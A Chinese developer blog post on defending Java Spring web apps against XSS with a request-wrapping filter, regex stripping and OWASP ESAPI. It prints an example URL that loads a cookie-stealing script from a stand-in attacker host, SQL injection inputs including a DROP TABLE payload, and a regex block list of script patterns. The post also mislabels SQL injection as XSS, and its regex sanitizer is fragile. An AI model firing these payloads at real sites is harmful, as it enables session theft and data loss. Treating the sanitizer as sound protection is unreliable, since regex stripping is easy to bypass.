如何有效預防XSS?這幾招管用!!!

tan日拱一兵發表於2019-06-30

預防XSS,這幾招管用

最近重溫了一下「黑客帝國」系列電影,一攻一防實屬精彩,生活中我們可能很少有機會觸及那麼深入的網路安全問題,但工作中請別忽略你身邊的精彩

fire-and-water-2354583_1920.jpg

大家應該都聽過 XSS (Cross-site scripting) 攻擊問題,或多或少會有一些瞭解,但貌似很少有人將這個問題放在心上。一部分人是存有僥倖心理:“誰會無聊攻擊我們的網站呢?”;另一部分人可能是工作職責所在,很少觸碰這個話題。希望大家看過這篇文章之後能將問題重視起來,並有自己的解決方案, 目前XSS攻擊問題依舊很嚴峻:

Cross-site scripting(XSS)是Web應用程式中常見的一種電腦保安漏洞,XSS 使攻擊者能夠將客戶端指令碼注入其他使用者檢視的網頁中。 攻擊者可能會使用跨站點指令碼漏洞繞過訪問控制,例如同源策略。 截至2007年,Symantec(賽門鐵克) 在網站上執行的跨站指令碼佔據了所有安全漏洞的 84% 左右。2017年,XSS 仍被視為主要威脅載體,XSS 影響的範圍從輕微的麻煩到重大的安全風險,影響範圍的大小,取決於易受攻擊的站點處理資料的敏感性方式以及站點所有者實施對資料處理的安全策略。

XSS 型別的劃分以及其他概念性的東西在此就不做過多說明,Wikipedia Cross-site scripting 說明的非常清晰,本文主要通過舉例讓讀者看到 XSS 攻擊的嚴重性,同時提供相應的解決方案

XSS 案例

不喜歡看 XSS 案例的,請跳過此處,直接去看 解決方案 。Bob 和 Alice 兩個人是經常用作案例(三次握手,SSH認證等)說明的,沒錯下面的這些案例也會讓他們再上頭條?

案例一

Alice 經常訪問由 Bob 託管的特定網站, Bob 的網站允許 Alice 使用使用者名稱/密碼登陸後,儲存敏感資料,例如賬單資訊。當使用者登入時,瀏覽器會保留一個授權 Cookie,它看起來像一些垃圾字元,這樣兩臺計算機(客戶端和伺服器)都有一條她已登入的記錄。

Mallory 觀察到 Bob 的網站包含一個 XSS 漏洞:

  1. 當她訪問“搜尋”頁面時,她會在搜尋框中輸入搜尋詞,然後單擊“提交”按鈕。
  2. 使用普通的搜尋查詢,如單詞“puppies”,頁面只顯示“找不到小狗相關內容”,網址為 http://bobssite.org/search?q=puppies 這是完全正常的行為。
  3. 但是,當她提交異常搜尋查詢時,例如 <script type ='application / javascript'> alert('xss'); </ script>
    • 出現一個警告框(表示“xss”)。
    • 該頁面顯示“未找到”,以及帶有文字“xss”的錯誤訊息。
    • URL 是http://bobssite.org/search?q= <script%20type ='application / javascript'> alert('xss'); </ script> , 這是一個可利用的行為

Mallory製作了一個利用此漏洞的URL:

  1. 她建立了URL http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js“> </ script>。她選擇使用百分比編碼 encode ASCII字元,例如 http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22 %3E%3C%2Fscript%3E,這樣讀者就無法立即破譯這個惡意 URL
  2. 她給 Bob 網站的一些毫無防備的成員發了一封電子郵件,說“看看這些可愛的小狗!”

Alice 到電子郵件, 她喜歡小狗並點選連結。它進入Bob的網站進行搜尋,找不到任何內容,並顯示“找不到小狗”, 但就在這時,指令碼標籤執行(Alice 在螢幕上看不到)並載入並執行 Mallory 的程式 authstealer.js(觸發了 XSS攻擊)

authstealer.js 程式在 Alice 的瀏覽器中執行,就像正常訪問 Bob 的網站一樣。但該程式抓取 Alice 的授權 Cookie 副本並將其傳送到 Mallory 的伺服器

Mallory 現在將 Alice 的授權 Cookie 放入她的瀏覽器中,然後她去了 Bob 的網站,並以 Alice 身份登入。

Mallory 假借 Alice 身份進入網站的賬單部分,查詢 Alice 的信用卡號碼並抓取副本。然後她去改變她的密碼,這樣過後愛麗絲甚至不能再登入了。

Mallory 決定更進一步向 Bob 本人傳送一個類似的連結,從而獲得Bob的網站管理員許可權。

案例二

當向使用者詢問輸入時,通常會發生 SQL 注入,例如使用者名稱/使用者ID,使用者會為您提供一條 SQL 語句,您將無意中在資料庫上執行該語句。
請檢視以下示例,該示例通過向選擇字串新增變數(txtUserId)來建立SELECT語句。 該變數是從使用者輸入(getRequestString)獲取的:

txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

當使用者輸入 userId = 105 OR 1=1,這時 SQL 會是這個樣子:

SELECT * FROM Users WHERE UserId = 105 OR 1=1;

OR 條件始終為 true,這樣就有可能獲取全部使用者資訊
如果使用者輸入 userId = 105; DROP TABLE Suppliers ,這時 SQL 語句會是這樣子

SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;

這樣 Suppliers 表就被不知情的情況下刪除掉了

通過上面的例子可以看出,XSS 相關問題可大可小,大到洩露使用者資料,使系統崩潰;小到頁面發生各種意想不到的異常。“蒼蠅不叮無縫的蛋”,我們需要拿出解決方案,修復這個裂縫。但解決 XSS 問題需要多種方案的配合使用:

  1. 前端做表單資料合法性校驗(這是第一層防護,雖然“防君子不防小人”,但必須要有)
  2. 後端做資料過濾與替換 (總有一些人會通過工具錄入一些非法資料造訪你的伺服器的)
  3. 持久層資料編碼規範,比如使用 Mybatis,看 Mybatis 中 “$" 和 "#" 千萬不要亂用 瞭解這些小細節
    本文主要提供第 2 種方式的解決方案

解決方案

先不要向下看,思考一下,在整個 HTTP RESTful 請求過程中,如果採用後端服務做請求資料的過濾與替換,你能想到哪些解決方案?

文末關注公眾號,帶你像讀偵探小說一樣趣味學習 Java 技術

Spring AOP

使用 Spring AOP 橫切所有 API 入口,貌似可以很輕鬆的實現,But(英文聽力重點?),RESTful API 設計並不是統一的入參格式,有 GET 請求的 RequestParam 的入參,也有 POST 請求RequestBody的入參,不同的入參很難進行統一處理,所以這並不是很好的方式,關於 RESTful 介面的設計,可以參考 如何設計好的 RESTful API?

HttpMessageConverter

請求的 JSON 資料都要過 HttpMessageConverter 進行轉換,通常我們可以通過新增 MappingJackson2HttpMessageConverter 並重寫 readInternal 方法:

@Override
protected Object readInternal(Class<?> clazz, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException {
    return super.readInternal(clazz, inputMessage);
}

獲取到轉換過後的 Java 物件後對當前物件做處理,但這種方式沒有辦法處理 GET 請求,所以也不是一個很好的方案,想詳細瞭解 HttpMessageConverter 資料轉換過程可以檢視 HttpMessageConverter是如何轉換資料的?

Filter

Servlet Filter 不過多介紹,通過 Filter 可以過濾 HTTP Request,我們可以拿到請求的所有資訊,所以我們可以在這裡大做文章
我們有兩種方式自定義我們的 Filter

  1. 實現 javax.servlet.Filter 介面
  2. Spring 環境下繼承 org.springframework.web.filter.OncePerRequestFilter 抽象類
    這裡採用第二種方式:
@Slf4j
public class GlobalSecurityFilter extends OncePerRequestFilter {
    @Override
    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
        String userInput = request.getParameter("param");
        if (userInput != null && !userInput.equalsIgnoreCase(HtmlUtils.htmlEscape(userInput))) {
            throw new RuntimeException();
        }
        String requestBody = IOUtils.toString(request.getInputStream(), "UTF-8");
        if (requestBody != null && !requestBody.equalsIgnoreCase(HtmlUtils.htmlEscape(requestBody))) {
            throw new RuntimeException();
        }
        filterChain.doFilter(request, response);
    }
}

然後註冊 Filter

@Bean
public FilterRegistrationBean filterRegistrationBean() {
    FilterRegistrationBean registration = new FilterRegistrationBean();
    registration.setFilter(globalSecurityFilter());
    //URL 過濾 pattern 設定
    registration.addUrlPatterns(validatePath + "/*");
    registration.setOrder(5);
    return registration;
}

@Bean(name = "globalSecurityFilter")
public Filter globalSecurityFilter() {
    return new GlobalSecurityFilter();
}

這種方案貌似可以很簡單粗暴的解決,但會有以下幾個問題:

  1. 丟擲異常,沒有統一 RESTful 訊息返回格式,丟擲異常後導致流程不可達
  2. 呼叫 request.getInputStream()讀取流,只能讀取一次,呼叫責任鏈後續 filter 會導致 request.getInputStream() 內容為空,即便這是 Filter 責任鏈中的最後一個 filter,程式執行到 HttpMessageConverter 時也會丟擲異常。想了解 Filter 責任鏈的呼叫過程,可以檢視 不得不知的責任鏈設計模式
  3. 看過文章開頭的 XSS 攻擊案例,HtmlUtils.htmlEscape(...) 可替換的內容有限,不夠豐富
    我們需要通過 HttpServletRequestWrapper 完成流的多次讀取,當你看到這個名稱 XXXWrapper,你應該想到這應用了 Java 的設計模式——裝飾模式(這是偵探的基本素養 ?),先來看類圖:
    Xnip2019-06-26_17-08-15.jpg

HttpServletRequestWrapper 繼承 ServletRequestWrapper 並實現了 HttpServletRequest 介面,我們只需定義自己的 Wrapper,並重寫裡面的方法即可

@Slf4j
public class GlobalSecurityRequestWrapper extends HttpServletRequestWrapper {

    //將讀取的流內容儲存在 body 字串中
    private final String body;

    //定義Pattern陣列,用於正則匹配,可新增其他pattern規則至此
    private static Pattern[] patterns = new Pattern[]{
            // Script fragments
            Pattern.compile("<script>(.*?)</script>",Pattern.CASE_INSENSITIVE),
            // src='...'
            Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
            Pattern.compile("src[\r\n]*=[\r\n]*\\\"(.*?)\\\"",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
            // lonely script tags
            Pattern.compile("</script>",Pattern.CASE_INSENSITIVE),
            Pattern.compile("<script(.*?)>",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
            // eval(...)
            Pattern.compile("eval\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
            // expression(...)
            Pattern.compile("expression\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
            // javascript:...
            Pattern.compile("javascript:",Pattern.CASE_INSENSITIVE),
            // vbscript:...
            Pattern.compile("vbscript:",Pattern.CASE_INSENSITIVE),
            
            //在此新增其他 Pattern,更多 Pattern 內容,可以從文末 demo 處獲取全部程式碼
    };


    /**
    *通過建構函式裝飾 HttpServletRequest,同時將流內容儲存在 body 字串中
    */
    public GlobalSecurityRequestWrapper(HttpServletRequest servletRequest) throws IOException{
        super(servletRequest);

        StringBuilder stringBuilder = new StringBuilder();
        BufferedReader bufferedReader = null;
        try {
            InputStream inputStream = servletRequest.getInputStream();
            if (inputStream != null) {
                bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
                char[] charBuffer = new char[128];
                int bytesRead = -1;
                while ((bytesRead = bufferedReader.read(charBuffer)) > 0) {
                    stringBuilder.append(charBuffer, 0, bytesRead);
                }
            } else {
                stringBuilder.append("");
            }
        } catch (IOException ex) {
            throw ex;
        } finally {
            if (bufferedReader != null) {
                try {
                    bufferedReader.close();
                } catch (IOException ex) {
                    throw ex;
                }
            }
        }
        //將requestBody內容以字串形式儲存在變數body中
        body = stringBuilder.toString();
        log.info("過濾和替換前,requestBody 內容為: 【{}】", body);
    }

    /**
     * 將 body 字串重新轉換為ServletInputStream, 用於request.inputStream 讀取流
     * @return
     * @throws IOException
     */
    @Override
    public ServletInputStream getInputStream() throws IOException {
        String encodedBody = stripXSS(body);
        log.info("過濾和替換後,requestBody 內容為: 【{}】", encodedBody);

        final ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(encodedBody.getBytes());
        ServletInputStream servletInputStream = new ServletInputStream() {
            @Override
            public int read() throws IOException {
                return byteArrayInputStream.read();
            }

            @Override
            public boolean isFinished() {
                return byteArrayInputStream.available() == 0;
            }

            @Override
            public boolean isReady() {
                return true;
            }

            @Override
            public void setReadListener(ReadListener readListener) {

            }
        };
        return servletInputStream;
    }

    /**
     * 呼叫該方法,可以多次獲取 requestBody 內容
     * @return
     */
    public String getBody() {
        return this.body;
    }
    
    @Override
    public BufferedReader getReader() throws IOException {
        return new BufferedReader(new InputStreamReader(this.getInputStream()));
    }

    /**
     * 獲取 request (http://127.0.0.1/test?a=1&b=2) 請求引數,多個引數返回 String[] 陣列
     * @param parameter
     * @return
     */
    @Override
    public String[] getParameterValues(String parameter) {
        String[] values = super.getParameterValues(parameter);

        if (values == null) {
            return null;
        }

        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = stripXSS(values[i]);
        }

        return encodedValues;
    }

    /**
     * 獲取單個請求引數
     * @param parameter
     * @return
     */
    @Override
    public String getParameter(String parameter) {
        String value = super.getParameter(parameter);

        return stripXSS(value);
    }

    /**
     * 獲取請求頭資訊
     * @param name
     * @return
     */
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        return stripXSS(value);
    }

    /**
     * 標準過濾和替換方法
     * @param value
     * @return
     */
    private String stripXSS(String value){
        if (value != null) {
            // 使用 ESAPI 避免 encoded 的程式碼攻擊
            value = ESAPI.encoder().canonicalize(value, false, false);
            value = patternReplace(value);
        }
        return value;
    }

    /**
    * 根據 Pattern 替換字元
    */
    private String patternReplace(String value){
        if (StringUtils.isNotBlank(value)){
            // 避免null
            value = value.replaceAll("\0", "");

            // 根據Pattern匹配到的字元,做""替換
            for (Pattern scriptPattern : patterns){
                value = scriptPattern.matcher(value).replaceAll("");
            }
        }
        return value;
    }
    
}

至此,修改 GlobalSecurityFilter 中程式碼,將重寫好的 GlobalSecurityRequestWrapper 重新放入到 FilterChain 中

GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper(request);
filterChain.doFilter(xssHttpServletRequestWrapper, response);

上面所有方法都新增了註解,很容易理解,我們看到在 stripXSS 方法中引入了 ESAPI ,關於如何引入 ESAPI,請看當前文章 ESAPI引入方式 部分內容,來看程式碼:

ESAPI.encoder().canonicalize(value, false, false);

這段程式碼是 ESAPI 最簡單的使用方式,主要防止 encoded 的程式碼進行 XSS 攻擊,這種簡單的使用在 GET 請求中沒有問題,但如果是 POST 請求,requestBody 中資料有 "", 會被替換掉,這樣就破壞了json 的結構,導致後續解析出錯. 為什麼會這樣呢?
ESAPI.encoder() 構造出預設的 DefaultEncoder, 檢視該類發現:

/**
 * Instantiates a new DefaultEncoder
 */
private DefaultEncoder() {
    codecs.add( htmlCodec );
    codecs.add( percentCodec );
    codecs.add( javaScriptCodec );
}

其中 javaScriptCodec 是按照 JavaScript 標準將 "" 替換成 "", 所以我們需要做定製改變,繼續檢視 Encoder 介面,找到下面方法:

String canonicalize(String input, boolean restrictMultiple, boolean restrictMixed);

通過檢視該方法的註釋我們瞭解到,可以通過 DefaultEncoder 帶引數構造器構造自己的 encoder:

List codecs = new ArrayList(2);
codecs.add( new HTMLEntityCodec());
codecs.add( new PercentCodec());
DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));

所以我們可以重新定義一個 stripXSSRequestBody 方法用在 重寫的 getInputStream 方法中

/**
 * 請求體處理,多用於json資料,自定義encoder,排除掉javascriptcodec
 * @param value
 * @return
 */
private String stripXSSRequestBody(String value){
    if (value != null) {
        List codecs = new ArrayList(4);
        codecs.add( new HTMLEntityCodec() );
        codecs.add( new PercentCodec());
        DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));
        // 使用 ESAPI 避免 encoded 的程式碼攻擊
        value = defaultEncoder.canonicalize(value, false, false);
        value = patternReplace(value);
    }
    return value;
}

解決了 RequestBody 的問題,我們需要進一步解決防 SQL 注入查詢的問題,我們可以在重寫的 getParameterValues 方法中使用如下方法:

/**
 * 防Sql注入,多用於帶引數查詢
 * @param value
 * @return
 */
private String stripXSSSql(String value) {
    Codec MYSQL_CODEC = new MySQLCodec(MySQLCodec.Mode.STANDARD);
    if (value != null) {
        // 使用 ESAPI 避免 encoded 的程式碼攻擊
        value = ESAPI.encoder().canonicalize(value, false, false);

        value = ESAPI.encoder().encodeForSQL(MYSQL_CODEC, value);
    }
    return value;
}

ESAPI.encoder()還有很多定製化的過濾,請小夥伴動手自行發現和定製,這裡不再做過多的解釋
問題還沒解決完,涉及到檔案上傳的業務,可以通過其他方式做檔案魔術數字校驗,檔案字尾校驗,檔案大小校驗等方式,沒必要在這個地方校驗 XSS 內容,所以我們需要再對 Filter 做出一些改變,不處理 contentType 為 multipart/form-data 的請求

String contentType = request.getContentType();
if (StringUtils.isNotBlank(contentType) && contentType.contains("multipart/form-data")){
    filterChain.doFilter(request, response);
}else {
    GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper((HttpServletRequest)request);
    filterChain.doFilter(xssHttpServletRequestWrapper, response);
}

當然這種方式還有進一步的改善空間,比如新增白名單(YAML配置的方式)等,具體業務還需要具體分析,不過讀到這裡,相信大家的思路已經開啟,可以進行自我創作了.

ESAPI引入方式

ESAPI(Enterprise Security API)是一個免費開源的Web應用程式API,目的幫助開發者開發出更加安全的程式碼, 更多介紹請檢視 OWASPESAPI github
使用 ESAPI,我們要引入相應的 jar 包

gradle 方式

compile group: 'org.owasp.esapi', name: 'esapi', version: '2.0.1'

maven 方式

<dependency>
    <groupId>org.owasp.esapi</groupId>
    <artifactId>esapi</artifactId>
    <version>2.0.1</version>
</dependency>

resources 根目錄下新增 ESAPI.properties 檔案和 validation.properties 兩個檔案,至此我們就可以使用 ESAPI 幫助我們解決 XSS 問題了,檔案內容可以通過下載 ESAPI source 獲取,也可以從 Demo 下載地址中獲取

靈魂追問

  1. 你瞭解 Java 裝飾器設計模式嗎?能想起來框架的哪些地方用到了該設計模式?
  2. 為什麼單純校驗檔案的字尾是不安全的校驗方式?
  3. 你看過「黑客帝國」嗎? (該問題純屬搞笑)

那些可以提高效率的工具

關注公眾號瞭解更多可以提高工作效率的工具,同時帶你像看偵探小說一樣趣味學習 Java 技術

如何有效預防XSS?這幾招管用!!!

Key Promoter X

Key Promoter X 是 IntelliJ IDEA 的一個學習快捷鍵的工具,當你用滑鼠在 IDE 中點選某些功能,Key Promoter X 會在 IDE 右下角提示你應該用哪種快捷鍵代替,如果當前操縱沒有設定相應快捷鍵,你也可以通過它快速設定,提高操作效率
screenshot_17105.gif


a (1).png

Demo 程式碼獲取

文末關注公眾號「日拱一兵」,回覆 「demo」獲取 Demo 程式碼

相關文章